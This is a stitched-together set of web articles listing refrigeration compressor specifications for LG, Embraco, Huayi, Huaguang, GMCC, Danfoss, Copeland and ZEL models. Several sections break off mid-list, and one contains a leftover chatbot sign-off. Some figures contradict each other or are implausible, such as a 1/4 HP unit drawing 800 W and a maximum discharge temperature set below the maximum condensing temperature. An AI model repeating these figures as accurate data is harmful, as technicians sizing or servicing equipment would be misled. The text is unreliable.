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Discover the detailed specifications and performance parameters of Siberia compressors, including the T Series, F Series, and S Series. Learn about their cooling capacities, refrigerant compatibility, and energy efficiency to determine the ideal compressor for your refrigeration needs. This guide also provides insights into installation requirements, packaging details, and special considerations for R600a and R134a […]
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With a cooling capacity of 842 W and robust construction, the NBY5170Y is ideal for commercial refrigeration, air conditioning, and heat pump systems The post Mbsm.pro, NBY5170Y, Compressor, Cooling, 1/4 HP, 1ph 220-240V/50Hz, R600a, 15kg, High Back Pressure, HBP, Commercial Refrigeration, Embraco appeared first on MBSM DOT PRO.
Explore the detailed specifications and performance metrics of LBP compressors using R134A refrigerant. This guide provides insights into various models, their cooling capacities, efficiency ratings, and motor types, ensuring you find the perfect fit for your refrigeration needs The post Mbsm.pro, Compressor, GM35AF, GM55AF, GM70AF, GM66AF, GM75AF, GM77AF, GM80AF, GM91AF, GM80AF appeared first on MBSM […]
This is the specific model number of the compressor manufactured by LG.
Power Consumption: 151 W
The compressor consumes 151 watts of electrical power during operation. This indicates the energy efficiency of the unit.
Horsepower (HP): 1/5 HP
The compressor has a motor rated at 1/5 horsepower , which is equivalent to 0.2 HP . This is a relatively small compressor, typically used in compact refrigeration systems or appliances like mini-fridges or beverage coolers.
Refrigerant Type: R600a
R600a (isobutane) is an eco-friendly refrigerant with low global warming potential (GWP). It is commonly used in domestic refrigerators and freezers due to its energy efficiency and minimal environmental impact. However, it is flammable, so proper handling is required.
Electrical Configuration: 1 Phase, 220V, 50Hz
The compressor operates on a single-phase power supply with a voltage of 220 volts and a frequency of 50 hertz . This configuration is typical for residential applications in regions like Europe, Asia, and parts of Africa.
Applications:
Given the specifications, this compressor is likely designed for use in low-back pressure (LBP) systems. LBP compressors are typically used in:
The R600a refrigerant further confirms that this compressor is intended for smaller, energy-efficient cooling systems.
Key Considerations:
Environmental Impact:
R600a is a hydrocarbon refrigerant, making it environmentally friendly compared to older refrigerants like R134a or R22. However, it requires careful handling due to its flammability.
Voltage Compatibility:
Ensure that the power supply matches the compressor’s requirements (220V, 50Hz). Using incompatible voltage can damage the compressor or cause it to malfunction.
System Design:
Since this is an LBP compressor, it is optimized for systems with lower evaporating temperatures, such as freezers or deep-freeze applications.
Conclusion:
The LG LBP MB88NA compressor is a compact, energy-efficient unit designed for small-scale refrigeration systems. Its key features include:
Part of a series (likely Panasonic or similar brand).
Power (HP)
3/8 HP
~0.375 horsepower.
Displacement
14.00 cm³
Cylinder volume per revolution.
Refrigerant
R12 (CFC)
Older refrigerant (now phased out; check local regulations).
Cooling Capacity
– W: 985 W
– kcal/h: 996
– BTU/h: ~3,360
At -25°C evaporating temp (CECOMAF conditions).
COP (Efficiency)
1.73 (W/W)
Coefficient of Performance.
Oil Type/Volume
400 cm³
Mineral or alkylbenzene oil (for R12).
Weight
11.5 kg
Motor Type
CSIR (Capacitor Start, Induction Run)
Single-phase operation.
Starting Method
Relay (R)
Voltage/Frequency
220-240V, 50Hz
Single-phase AC.
Expansion Type
Capillary tube (C) or Valve (V)
Configurable based on application.
Key Observations
Refrigerant (R12):
The P14TY is designed for R12, an obsolete CFC refrigerant banned under the Montreal Protocol due to ozone depletion. Modern alternatives (e.g., R134a, R404A) require retrofitting or replacement.
Applications:
Likely used in medium-temperature refrigeration (e.g., commercial refrigerators, chillers) given its capacity and COP at -25°C evaporating temperature.
Efficiency (COP 1.73):
Lower COP compared to modern compressors, indicating higher energy consumption.
Replacement Considerations:
If retrofitting for alternative refrigerants, ensure compatibility with oil type (e.g., POE for HFCs) and system components.
Verify electrical specs (voltage, starting torque) for new installations.
Testing Conditions (CECOMAF/ASHRAE)
Evaporating Temp: -25°C (LBP testing for low-temperature applications).
Condensing Temp: 55°C.
Ambient Temp: 32°C.
Actionable Recommendations
For Maintenance:
Check oil levels and contamination if still using R12.
Inspect capacitors/relays (common failure points in CSIR motors).
For Replacement:
Consider modern equivalents (e.g., Panasonic/Copeland models for R404A/R134a).
Consult HVAC technician for system compatibility and retrofitting.
The Siberia Compressor Catalogue provides detailed specifications and performance data for various compressor series designed for refrigeration systems. These compressors are available in multiple configurations, including R134a and R600a refrigerants, catering to different cooling capacities and applications. Below is an organized breakdown of the catalog’s key sections:
The open time of the compressor connection pipe should not exceed 10 minutes .
Use dedicated vacuum pumps and charging equipment for R134a.
Avoid using organic substances incompatible with R134a in the refrigeration system.
Ensure strict control of moisture, impurities, paraffin, silicone oil, and chloride ions.
R600a Compressors
Follow safety protocols for hydrocarbon refrigerants during installation and operation.
Do not tamper with the pre-filled specialized oil in the compressor.
Use appropriate tools and equipment to ensure safe handling of R600a.
4. Refrigerator Size Estimation
The cooling capacity of a compressor determines the refrigerator size it can support. For example:
BTF60AA (1/7 HP):
Cooling Capacity: 105 W
Approximate Refrigerator Size: 157.5 – 210 liters
Calculation: 105W×1.5to2=157.5to210liters
5. Outline Drawings and Packaging
Each compressor model includes detailed outline drawings and packaging specifications. For instance:
Packaging Dimensions:
Carton Size: 1120mm×824mm×870mm
Container Capacity: Up to 28 units per container.
6. General Requirements for Installation and Operation
Store compressors in a dry, well-ventilated area.
Avoid tilting or inverting during transportation.
Install within 10 minutes after removing protective plugs.
Ensure reliable grounding during operation.
Avoid high-voltage or vacuum conditions during startup.
To determine the refrigerator size (in liters) that a 1/7 HP compressor can cool, we need to refer to the performance data of the compressors listed in the provided files. Specifically, the BTF60AA compressor (1/7 HP) is a good reference point for this calculation.
Key Specifications for BTF60AA (1/7 HP):
Cooling Capacity: 105 W
Refrigerant: R600a
Voltage: 220-240V / 50Hz
The cooling capacity of a compressor directly correlates with the volume of the refrigerator it can cool. Typically:
1 W of cooling capacity can cool approximately 1.5 to 2 liters of refrigerator volume.
Calculation:
For the BTF60AA compressor with a cooling capacity of 105 W , the approximate refrigerator volume it can cool is:
Refrigerator Volume=Cooling Capacity (W)×Factor (1.5 to 2)Refrigerator Volume=105W×1.5to2Refrigerator Volume=157.5to210liters
Table for 1/7 HP Compressor:
Below is a table summarizing the approximate refrigerator size (in liters) based on the cooling capacity of a 1/7 HP compressor:
The information provided matches the specifications of the Trucool Huayi HY113YZ Compressor from the uploaded document. Below is a comparison and verification of the details:
Key Specifications:
Model : HY113YZ (matches HYE113Y as a variant)
Application : High Back Pressure (HBP) ✅
Power Input : 455W ✅
Refrigerant : R134a ✅
Horsepower :
3/8 hp
Cooling Capacity :
860 Kcal/Hr or 3414 Btu/Hr ✅
EER (Energy Efficiency Ratio) : 7.50 Btu/W.Hr ✅
Displacement : 11.3 cm³ ✅
Voltage Range : 187-253V ✅
Additional Details:
Motor Type : CSIR (Capacitor Start Induction Run) ✅
The AE16LMY compressor is a versatile hermetic compressor designed for both R134a (medium/high temperature) and R404a (low temperature) applications. Below is a detailed breakdown of its specifications, cooling capacities, applications, and key features when operating in High Back Pressure (HBP) mode with R134a and Low Back Pressure (LBP) mode with R404a .
AE16LMY Compressor Overview
General Specifications
Nominal Horsepower (HP):
R134a Mode (HBP): 3/8 HP
R404a Mode (LBP): 5/8 HP
Displacement:
R134a Mode (HBP): 17.4 cc
R404a Mode (LBP): 14.5 cc
Motor Type: CSIR (Capacitor Start Induction Run) / CSR (Capacitor Start Run) with FC C/V control
Connections: Rotolock suction and discharge connections
1. R134a Application (HBP Mode)
Evaporating Temperature Range:
Medium to High Temperature: -15°C to 10°C
Cooling Capacity (Watts):
Evaporating Temp (°C)
Cooling Capacity (Watts)
-15
1068
-10
1335
-5
1635
0
1970
5
2340
10
2740
Applications:
R134a Mode (HBP):
The AE16LMY is ideal for medium to high-temperature refrigeration systems, such as:
Commercial refrigerators
Beverage coolers
Air conditioning systems
Display cases in supermarkets
2. R404a Application (LBP Mode)
Evaporating Temperature Range:
Low Temperature: -32°C to 0°C
Cooling Capacity (Watts):
Evaporating Temp (°C)
Cooling Capacity (Watts)
-32
524
-30
717
-25
948
-20
1215
-15
1540
-10
1920
0
2400
Applications:
R404a Mode (LBP):
When used with R404a , the AE16LMY is suitable for low-temperature applications, including:
Walk-in freezers
Industrial chillers
Cold storage facilities
Transport refrigeration systems
Key Features
Dual Refrigerant Compatibility:
The AE16LMY can operate efficiently with both R134a (medium/high temperature) and R404a (low temperature), making it highly adaptable to diverse applications.
Advanced Motor Design:
The CSIR motor type with FC C/V control ensures consistent performance and energy efficiency.
Compact & Lightweight:
With a weight of just 13.7 kg and compact dimensions, this compressor is easy to install and maintain.
Rotolock Connections:
Equipped with rotolock suction and discharge connections, which are particularly beneficial for low-temperature applications.
No Oil Cooler Required:
The AE16LMY does not require an oil cooler when used with R404a in low-temperature applications.
Liquid Injection Kits:
For low-temperature R404a applications, liquid injection kits may be required to ensure optimal performance.
Performance Highlights
Versatility: The AE16LMY’s ability to handle a wide range of evaporating temperatures and cooling capacities makes it suitable for diverse applications, from commercial refrigeration to industrial freezers.
Efficiency: Its advanced motor design and compatibility with POE lubricants ensure smooth operation and extended compressor life.
Applications Summary
R134a Mode (HBP):
Medium to high refrigeration needs.
Examples: Supermarkets, convenience stores, air conditioning systems.
The AE16LMY compressor is a dual-mode solution that excels in both R134a (HBP) and R404a (LBP) applications. Its ability to deliver reliable performance across a broad range of evaporating temperatures and cooling capacities makes it an invaluable component in modern refrigeration technology. By understanding its specifications and capabilities, professionals can select the appropriate configuration based on their specific refrigeration needs.
Huaguang ASQ80HG Compressor: A Reliable Solution for Modern Refrigeration Systems
The Huaguang ASQ80HG compressor is a high-performance refrigeration component from the renowned Q Series , designed to meet the demands of modern cooling systems. With its compatibility with R134a refrigerant , high back-pressure (HBP) capability, and energy-efficient design, this compressor is an excellent choice for both domestic and commercial applications. Below, we explore its specifications, features, applications, and comparative analysis, supported by a detailed table.
Key Specifications
Model : ASQ80HG
Series : Q Series
Power Input : 800W
Horsepower : 1/4 HP (approximately 0.186 kW)
Refrigerant : R134a
Voltage/Frequency : 220-240V / 50Hz
Application Type : High Back Pressure (HBP)
Overview of Features
The Huaguang ASQ80HG compressor is engineered for efficiency, durability, and environmental sustainability. Its compatibility with R134a refrigerant , a non-ozone-depleting gas, ensures compliance with global environmental standards. With an input power of 800W , it strikes a balance between performance and energy consumption, making it cost-effective for long-term use.
The high back-pressure (HBP) capability allows the compressor to maintain stable cooling in systems where evaporator pressures are relatively high, such as in freezers, display coolers, and other medium-temperature refrigeration setups.
Applications
The versatility of the ASQ80HG makes it suitable for a wide range of cooling applications, including:
Domestic Refrigerators/Freezers : Ideal for home use due to its compact size and energy efficiency.
Display Coolers : Perfect for retail environments requiring product visibility while maintaining low temperatures.
Small-Scale Industrial Cooling : Suitable for systems demanding precise temperature control without heavy-duty cooling requirements.
Cold Storage Units : Effective in maintaining consistent temperatures for perishable goods.
Comparative Table of Huaguang Compressors
Below is a comparative analysis of the Huaguang ASQ80HG with similar models in the Q Series , highlighting its unique advantages.
Model
Series
Horsepower
Refrigerant
Power Input
Voltage/Frequency
Application
ASQ80HG
Q Series
1/4 HP
R134a
800W
220-240V / 50Hz
HBP Refrigeration
ASQ100HG
Q Series
1/3 HP
R134a
1000W
220-240V / 50Hz
General Refrigeration
ASQ60HG
Q Series
1/5 HP
R134a
600W
220-240V / 50Hz
Low-Pressure Cooling
Why Choose the Huaguang ASQ80HG?
Energy Efficiency : The 800W power input ensures optimal performance while minimizing energy consumption, reducing operational costs.
Environmental Friendliness : The use of R134a refrigerant ensures compliance with global environmental regulations, as it does not contribute to ozone depletion.
High Back Pressure Capability : Designed for systems requiring stable cooling under high back-pressure conditions, making it ideal for freezers and display coolers.
Compact Design : Its compact size makes it suitable for installations with limited space, such as small kitchens or retail displays.
Durability : Built to withstand demanding operating conditions, ensuring longevity and reliable performance.
Installation and Maintenance Tips
To ensure the best performance and longevity of the Huaguang ASQ80HG , follow these guidelines:
Electrical Compatibility : Verify that the voltage (220-240V) and frequency (50Hz) match your local power supply.
Proper Refrigerant Charge : Use only R134a refrigerant to avoid system inefficiencies and potential damage.
Regular Cleaning : Clean the condenser coils periodically to prevent overheating and ensure efficient operation.
Professional Installation : Hire a certified technician for installation and maintenance to avoid errors and ensure optimal performance.
Conclusion
The Huaguang ASQ80HG compressor from the Q Series is a versatile, energy-efficient, and environmentally friendly solution for various refrigeration needs. Its compatibility with R134a refrigerant , combined with its high back-pressure capability , makes it a standout choice for both domestic and commercial applications. Whether you’re upgrading your refrigerator, installing a new cooling system, or managing a retail display cooler, the ASQ80HG offers dependable performance and excellent value.
Technical Overview of the GMCC PZ120H1Y Reciprocating Compressor
The GMCC PZ120H1Y is a reciprocating compressor designed for efficient refrigeration applications. It operates using R600a refrigerant and incorporates advanced design parameters to ensure optimal performance in various cooling environments. Below, we delve into its technical specifications, performance parameters, packaging, and operational considerations.
1. Compressor Design and Specifications
The PZ120H1Y compressor is built with precision and adheres to strict quality standards. Key features include:
Parameter
Value
Refrigerant Type
R600a
Refrigerant Oil
Ester Synthetic Oil (POE)
Tube Materials
Copper
Suction Tube Diameter
Φ4.91 ± 0.1 mm
Process Tube Diameter
Φ6.5 ± 0.1 mm
Displacement Volume
12 cm³
Net Weight (Oil Included)
8.5 ± 0.4 kg
Base Plate Type
European Standard (170 × 70 mm)
Additionally, the unit is designed for static cooling and has no water tray holder included.
2. Electrical and Operational Parameters
The PZ120H1Y is engineered to operate under specific electrical conditions:
Parameter
Value
Nominal Voltage
220–240V / 50Hz
Voltage Range
187V to 254V
Starting Ability
187V [0.95/0.95 Mpa (abs)] at 25°C
Puissance (Power Input)
114 W (~0.153 hp)
Classified Power (HP)
1/3 hp
The compressor’s motor is designed for low back pressure (LBP) applications, making it suitable for systems requiring stable operation under varying load conditions.
3. Performance Metrics
Under standard ASHRAE test conditions , the PZ120H1Y demonstrates impressive performance:
Performance Parameter
Value
Cooling Capacity
210 W
Input Power
114 W (~0.153 hp)
COP (Coefficient of Performance)
1.85 W/W
Sound Level
≤42 dB(A)
Vibration
Minimal
Test conditions are as follows:
Condition
Temperature
Evaporating Temperature
-23.3°C (LBP)
Condensation Temperature
54.4°C
Ambient Temperature
32.2°C to 35°C
Subcooling Temperature
46.1°C
These parameters ensure reliable operation across a wide range of environmental conditions.
4. Packaging and Transportation
For safe delivery, the PZ120H1Y is packaged with meticulous attention to detail:
Parameter
Value
Package Dimensions
1140 × 940 × 1020 mm
Stacking Capacity
96 units per pallet
Net Weight (N.W.)
816 kg
Gross Weight (G.W.)
851 kg
Cubic Measure
1.1 m³
The compressor can be transported via train or automobile, ensuring flexibility in logistics.
5. Operational Considerations
To maximize the lifespan and efficiency of the PZ120H1Y, certain operational guidelines must be followed:
Parameter
Value
Maximum Shell Temperature
120°C
Maximum Discharge Temperature
90°C
Maximum Condensing Temperature
130°C
Ambient Temperature Range
-5°C to 43°C
Evaporating Temperature Range
-35°C to -10°C
Intermittent Operation
ON > 5 minutes, OFF > 5 minutes
Operational Cycle Limit
< 200,000 cycles
A critical note: Pressure balancing between the high-pressure and low-pressure sides is essential at startup to ensure proper functioning. If pressure imbalance occurs, the starting performance must be checked.
6. Environmental Compliance
The PZ120H1Y adheres to stringent environmental regulations:
Regulation
Compliance
PAHs (II)
BaP content <1 ppm, Total PAHs <10 ppm
REACH Regulations
SVHC <1000 ppm
Phthalic Acid Salt Limits
Harmful substances <1000 ppm
These measures ensure that the compressor aligns with global environmental safety standards.
7. Component List
Each PZ120H1Y compressor comes with the following components, all independently packaged:
Component
Amount
Compressor
1 unit
PTC
1 unit
OLP
1 unit
Capacitor
1 unit
Terminal Cover
1 unit
Earthing Screw
1 unit
Grommets
4 units
Conclusion
The GMCC PZ120H1Y reciprocating compressor stands out for its robust design, energy efficiency, and compliance with environmental standards. With a cooling capacity of 210 W and input power of 114 W (~0.153 hp) , it delivers reliable performance for low-back-pressure applications. Classified as 1/3 hp , this compressor is ideal for domestic and light commercial refrigeration systems.
Whether for static cooling or systems requiring intermittent operation, the PZ120H1Y is a dependable choice for modern refrigeration needs.
This article captures all the details from the PDF, organized into tables for clarity and includes both the exact power input (in watts) and the classified horsepower (1/3 hp). Let me know if you’d like any further adjustments!
Domestic Embraco Compressors: A Comprehensive Guide to R134a Low-Temperature Models
When it comes to refrigeration systems, selecting the right compressor is a crucial step in ensuring efficient and reliable performance. Embraco, a globally recognized brand, has long been known for its high-quality compressors designed for a wide range of applications. In this article, we will explore their lineup of domestic R134a low-temperature compressors, focusing on various models and their specifications.
Overview of R134a Low-Temperature Compressors
R134a is a commonly used refrigerant known for its excellent thermodynamic properties and environmental friendliness compared to older refrigerants like R22. Embraco’s R134a low-temperature compressors are designed to operate efficiently even in demanding conditions, such as freezer applications where temperatures can drop as low as -23.3°C (-9.9°F). These compressors are suitable for both residential and light commercial use, providing reliable cooling solutions for freezers, display cases, and other cold storage needs.
Below is a detailed breakdown of the key models offered by Embraco, along with their technical specifications:
Technical Specifications Table
Model
Displacement (cc)
Horsepower (HP)
Capacity @ -23.3°C (Watts)
EM30 HNP
3.01
1/10
62
EM40 HNP
3.77
1/8
88
EM50 HNP
4.99
1/6
120
EM60 HNP
5.54
1/6
139
FG65 HAKW
6.67
1/5
164
FG75 HAKW
7.95
1/4
184
FG85 HAKW
9.05
1/4
227
FG95 HAKW
10.61
1/3
258
EGU130 HLCW
11.20
1/3
311
Key Features of Each Model
EM30 HNP
Displacement: 3.01 cc
Horsepower: 1/10 HP
Capacity at -23.3°C: 62 Watts
The EM30 HNP is ideal for smaller applications where space and energy efficiency are critical. With a displacement of 3.01 cc, it provides sufficient capacity for compact freezer units.
EM40 HNP
Displacement: 3.77 cc
Horsepower: 1/8 HP
Capacity at -23.3°C: 88 Watts
This model offers slightly higher displacement and horsepower, making it suitable for small to medium-sized freezers or coolers.
EM50 HNP
Displacement: 4.99 cc
Horsepower: 1/6 HP
Capacity at -23.3°C: 120 Watts
The EM50 HNP is a step up in terms of performance, offering a balance between size and cooling power for medium-duty applications.
EM60 HNP
Displacement: 5.54 cc
Horsepower: 1/6 HP
Capacity at -23.3°C: 139 Watts
With an increased displacement and higher cooling capacity, the EM60 HNP is well-suited for larger freezers or more demanding environments.
FG65 HAKW
Displacement: 6.67 cc
Horsepower: 1/5 HP
Capacity at -23.3°C: 164 Watts
The FG65 HAKW introduces greater cooling potential, making it an excellent choice for medium to large freezers requiring consistent performance at low temperatures.
FG75 HAKW
Displacement: 7.95 cc
Horsepower: 1/4 HP
Capacity at -23.3°C: 184 Watts
Offering enhanced capacity and horsepower, the FG75 HAKW is designed for heavy-duty applications that require robust cooling capabilities.
FG85 HAKW
Displacement: 9.05 cc
Horsepower: 1/4 HP
Capacity at -23.3°C: 227 Watts
This model further elevates performance with a higher displacement and wattage output, making it suitable for industrial-grade freezers.
FG95 HAKW
Displacement: 10.61 cc
Horsepower: 1/3 HP
Capacity at -23.3°C: 258 Watts
The FG95 HAKW is one of the most powerful compressors in the lineup, capable of delivering significant cooling capacity for large-scale freezing operations.
EGU130 HLCW
Displacement: 11.20 cc
Horsepower: 1/3 HP
Capacity at -23.3°C: 311 Watts
As the top-tier model in the series, the EGU130 HLCW boasts the highest displacement and cooling capacity. It is perfect for heavy-duty applications that demand maximum performance under extreme conditions.
Conclusion
Embraco’s R134a low-temperature compressors provide a versatile range of options for various refrigeration needs. Whether you’re looking for a compact solution for home use or a heavy-duty compressor for industrial applications, Embraco has a model to meet your requirements. By understanding the specifications and capabilities of each model, you can make an informed decision that ensures optimal performance and energy efficiency in your refrigeration system.
The NBY5170Y is a high-performance compressor designed for refrigeration and air conditioning applications. Manufactured by Embraco, a leading name in the HVACR industry, this compressor is engineered to deliver reliable and efficient cooling performance. Below, we delve into the key features, specifications, and applications of the NBY5170Y compressor.
Key Features
High Cooling Capacity: The NBY5170Y is designed to handle demanding cooling tasks, making it suitable for both commercial and industrial applications.
Energy Efficiency: With a high efficiency rating (W/W), this compressor ensures optimal performance while minimizing energy consumption.
Robust Construction: Built to withstand harsh operating conditions, the NBY5170Y offers durability and long service life.
Versatile Applications: This compressor is suitable for a wide range of refrigeration and air conditioning systems, including commercial refrigerators, freezers, and air conditioning units.
Technical Specifications
Model: NBY5170Y
Displacement: 14.3 cm³
Motor Type: RSCR (Reluctance Start Capacitor Run)
Power: 1/4 HP
Voltage/Frequency: 220-240V / 50Hz
Cooling Capacity: 842 W (at ASHRAE nominal point)
Efficiency: 3.1 W/W
Refrigerant: R600a (Isobutane)
Oil Type: AB 5
Weight: 15 kg
Maximum Height: 206 mm
Locked Rotor Amps (LRA): 15 A
Application: High Back Pressure (HBP) systems
Performance Data
The NBY5170Y compressor is designed to operate efficiently across a range of temperatures. Here are some key performance metrics:
Nominal Point (ASHRAE): 7.2°C Evaporation Temperature / 54.4°C Condensation Temperature
Cooling Capacity Range: Varies based on operating conditions, with a maximum capacity of 842 W at the nominal point.
Efficiency Range: The compressor maintains high efficiency across different load conditions, ensuring energy savings.
Applications
The NBY5170Y compressor is ideal for various applications, including:
Commercial Refrigeration: Suitable for medium to large commercial refrigerators and freezers.
Air Conditioning: Can be used in air conditioning systems requiring high cooling capacity.
Heat Pumps: Effective in heat pump systems for both heating and cooling.
Installation and Maintenance
Installation: Ensure proper mounting and alignment to avoid vibrations and noise. Follow the manufacturer’s guidelines for electrical connections and refrigerant piping.
Maintenance: Regular maintenance is crucial for optimal performance. This includes checking oil levels, inspecting electrical connections, and ensuring the compressor is free from debris.
Conclusion
The NBY5170Y compressor by Embraco is a reliable and efficient solution for demanding refrigeration and air conditioning applications. Its robust design, high cooling capacity, and energy efficiency make it a preferred choice for commercial and industrial use. Whether you are upgrading an existing system or installing a new one, the NBY5170Y offers the performance and reliability you need.
For more detailed information, including wiring diagrams and specific installation instructions, refer to the official Embraco documentation or consult with a certified HVACR technician.
Mbsm_dot_pro_private_PDFembraco_r600a_lmbp_2_hbpMbsm_dot_pro_private_PDFembraco_r600a_lmbp_2_hbp
LBP Compressors with R134A Refrigerant: A Comprehensive Overview
LBP compressors, renowned for their reliability and efficiency, are widely used in various refrigeration applications. This article delves into the specifications of a range of LBP compressors that utilize R134A refrigerant, providing detailed information on their performance parameters and operational characteristics.
Table of Specifications
The table below outlines the key specifications for each model of the LBP compressors:
Model
Displacement (cm³)
Operating Voltage V/Hz
Power HP
Nominal Capacity Kcal
COP W/W
Motor Type
Capacitor Used
GM 35 AF
3.50
187-264V/50Hz
1/10
65
1.05
RSIR/RSCR
2 µF
GM 55 AF
5.48
1/6
118
1.06
3 µF
GM 70 AF
6.64
1/5
158
1.17
4 µF
GM 66 AF
6.60
1/5
147
1.28
4 µF
GM 75 AF
7.39
1/4
172
1.20
4 µF
GM 77 AF
7.70
1/4
165
1.29
4 µF
GM 80 AF
8.10
1/4+
198
1.26
4 µF
GM 91 AF
9.10
1/4+
185
1.29
4 µF
GM 80 AF + kap
8.10
1/4+
198
1.26
CSCR
4 µF
Key Features and Performance Metrics
Displacement : The displacement values range from 3.50 cm³ to 9.10 cm³, indicating the volume of refrigerant that can be compressed per cycle. Higher displacement models like GM 91 AF are suitable for larger cooling capacities.
Operating Voltage : All models operate within the voltage range of 187-264V at a frequency of 50Hz, ensuring compatibility with standard electrical supplies.
Power HP : The power ratings vary from 1/10 HP to 1/4+ HP, reflecting the energy consumption and output capacity of each compressor. Models with higher power ratings, such as GM 80 AF and GM 91 AF, are designed for more demanding applications.
Nominal Capacity : The nominal cooling capacities range from 65 Kcal to 198 Kcal, catering to different cooling requirements. For instance, the GM 80 AF and GM 80 AF + kap models both offer a high cooling capacity of 198 Kcal.
COP (Coefficient of Performance) : The COP values indicate the efficiency of the compressors, with higher values signifying better performance. The GM 66 AF model boasts a COP of 1.28, making it one of the most efficient in the lineup.
Motor Type : Most models feature RSIR/RSCR motor types, known for their robustness and reliability. The GM 80 AF + kap model, however, uses a CSCR motor type, which may offer additional benefits depending on the application.
Capacitor Used : The capacitors used range from 2 µF to 4 µF, aiding in the starting and running of the motors. The GM 80 AF + kap model, with its additional start capacitor, ensures smoother operation under varying load conditions.
Additional Notes
All the models listed can be equipped with RUN CAPACITORS upon request, enhancing their performance and longevity.
The GM 80 AF + kap model is specifically designed with an additional start capacitor, making it ideal for applications requiring enhanced starting torque.
In conclusion, the LBP compressors with R134A refrigerant offer a versatile range of options to meet diverse cooling needs. Their robust design, coupled with high efficiency and reliability, makes them a preferred choice for various refrigeration systems.
Danfoss compressors are widely recognized for their reliability and efficiency in various refrigeration and air conditioning systems. This article provides a detailed overview of the specifications of different Danfoss compressor models, focusing on capillary length, oil quantity, horsepower, and their respective applications.
Introduction to Danfoss Compressors
Danfoss is a global leader in engineering solutions, particularly in the field of refrigeration and air conditioning. Their compressors are designed to meet the demanding requirements of both commercial and residential applications. The compressors are known for their durability, energy efficiency, and low noise levels.
Key Specifications
The following table outlines the key specifications of various Danfoss compressor models:
Capillary Length (Feet)
Capillary Length (cm)
Capillary NO
Oil
Hp (Horsepower)
Compressor No
4 Feet
121.92 cm
0.26
150 ml
1/14
TL2A
4 Feet
121.92 cm
0.26
150 ml
1/12
TL2.5A
4 Feet
121.92 cm
0.26
150 ml
1/12
TL2.5B
4 Feet
121.92 cm
0.26
150 ml
1/14
PW3K6
4 Feet
121.92 cm
0.26
150 ml
1/12
PW3K7
6 Feet
182.88 cm
0.26
175 ml
1/10
PW3.5K7
6 Feet
182.88 cm
0.26
175 ml
1/10
TL3B
7.5 Feet
228.6 cm
0.28
200 ml
1/8
TL4B
7.5 Feet
228.6 cm
0.28
200 ml
1/8
TL4A
7.5 Feet
228.6 cm
0.28
200 ml
1/8
PW4.5K9
7.5 Feet
228.6 cm
0.28
200 ml
1/8
PW4.5K7
7.5 Feet
228.6 cm
0.28
200 ml
1/8
PW4.5K11
7.5 Feet
228.6 cm
0.28
200 ml
1/8
TFS4AT
9 Feet
274.32 cm
0.31
250 ml
1/6
TL5A
9 Feet
274.32 cm
0.31
250 ml
1/6
PW5.5K11
9 Feet
274.32 cm
0.31
250 ml
1/6
PW5.5K9
9 Feet
274.32 cm
0.31
250 ml
1/6
TFS5AT
9 Feet
274.32 cm
0.31
250 ml
1/6
FR6B
10 Feet
304.8 cm
0.31
275 ml
1/5
FR7.5A
10 Feet
304.8 cm
0.31
275 ml
1/5
FR7.5B
10 Feet
304.8 cm
0.31
300 ml
1/4
FR8.5A
Detailed Analysis
Capillary Length: The capillary length varies from 4 feet (121.92 cm) to 10 feet (304.8 cm). The length of the capillary tube is crucial as it affects the refrigerant flow and system efficiency.
Capillary Number: This parameter indicates the internal diameter of the capillary tube, which influences the refrigerant flow rate. The capillary number ranges from 0.26 to 0.31.
Oil Quantity: The oil quantity in the compressors ranges from 150 ml to 300 ml. Proper oil levels are essential for lubrication and cooling of the compressor components.
Horsepower (Hp): The horsepower of the compressors varies from 1/14 Hp to 1/4 Hp. This indicates the power output and suitability for different cooling capacities.
Compressor Number: Each compressor model has a unique identifier, such as TL2A, PW3K6, etc. These numbers help in identifying the specific model and its application.
Applications
Danfoss compressors are used in a variety of applications, including:
Commercial Refrigeration: Models like TL2A and TL2.5A are commonly used in small commercial refrigeration units.
Residential Air Conditioning: Compressors such as PW3K6 and PW3K7 are suitable for residential air conditioning systems.
Industrial Cooling: Higher capacity models like FR7.5A and FR8.5A are used in industrial cooling applications.
Conclusion
Danfoss compressors offer a wide range of models to meet diverse refrigeration and air conditioning needs. Understanding the specifications, such as capillary length, oil quantity, and horsepower, is essential for selecting the right compressor for your application. With their robust design and efficient performance, Danfoss compressors continue to be a preferred choice in the industry.
Mbsm_dot_pro_private_PDFmbsm.pro-Mbsmpro Comprehensive Guide to Danfoss Compressors Specifications Applications and Selection Tips
The information you provided describes a Copeland compressor with the model number CRC1-0175-PFU-501, which is a 2-ton, 2.25 HP unit designed for R22 refrigerant. It is compatible with an ESAH-18CH system, which is an 18,000 BTU (1.5-ton) unit with a power input of 1920 watts. Here’s a breakdown of the details:
Compressor Specifications:
Model: CRC1-0175-PFU-501
Brand: Copeland
Cooling Capacity: 2 tons (24,000 BTU)
Horsepower (HP): 2.25 HP
Refrigerant Type: R22 (note that R22 is being phased out due to environmental regulations)
Compatibility: ESAH-18CH (18,000 BTU system)
Power Input: 1920 watts
Key Notes:
R22 Refrigerant: R22 is an older refrigerant that is no longer produced or imported in many countries due to its ozone-depleting properties. If this compressor or system uses R22, you may need to consider retrofitting or replacing it with a system that uses a more environmentally friendly refrigerant like R410A or R32.
Compatibility: The compressor is listed as compatible with the ESAH-18CH system, which is an 18,000 BTU (1.5-ton) unit. However, the compressor itself is rated for 2 tons (24,000 BTU). This mismatch in capacity could affect system performance, so it’s important to ensure proper sizing and compatibility.
Application: This compressor is likely designed for residential or light commercial HVAC systems.
Replacement Considerations: If you’re replacing this compressor, ensure the new unit matches the specifications and is compatible with the existing system. If upgrading to a newer refrigerant, additional modifications may be required.
Mbsm.pro offers a wide range of ZEL compressors designed for various applications in refrigeration and air conditioning systems. Below is a detailed overview of some popular models:
HVM12AA
OF1033A
OF1350A
GVY75AA
GVY66AA
GVY75AG
НКd16aa
GVY75ad
GVT66ad
GKD75ad
Key Specifications
Model
Power Rating (HP)
Voltage/Frequency
Refrigerant Type
Cooling Capacity (W)
HVM12AA
1/5 HP
220V-240V / 50Hz
R134a
OF1033A
1/5 HP
220V-240V / 50Hz
R134a
OF1350A
1/5 HP
220V-240V / 50Hz
R134a
GVY75AA
1/5 HP
220V-240V / 50Hz
R134a
GVY66AA
1/5 HP
220V-240V / 50Hz
R134a
GVY75AG
1/5 HP
220V-240V / 50Hz
R134a
НКd16aa
1/5 HP
220V-240V / 50Hz
R134a
GVY75ad
1/5 HP
220V-240V / 50Hz
R134a
GVT66ad
1/5 HP
220V-240V / 50Hz
R134a
GKD75ad
1/5 HP
220V-240V / 50Hz
R134a
Why Choose ZEL Compressors?
ZEL compressors are renowned for their reliability, energy efficiency, and versatility. Here are some key reasons to consider them:
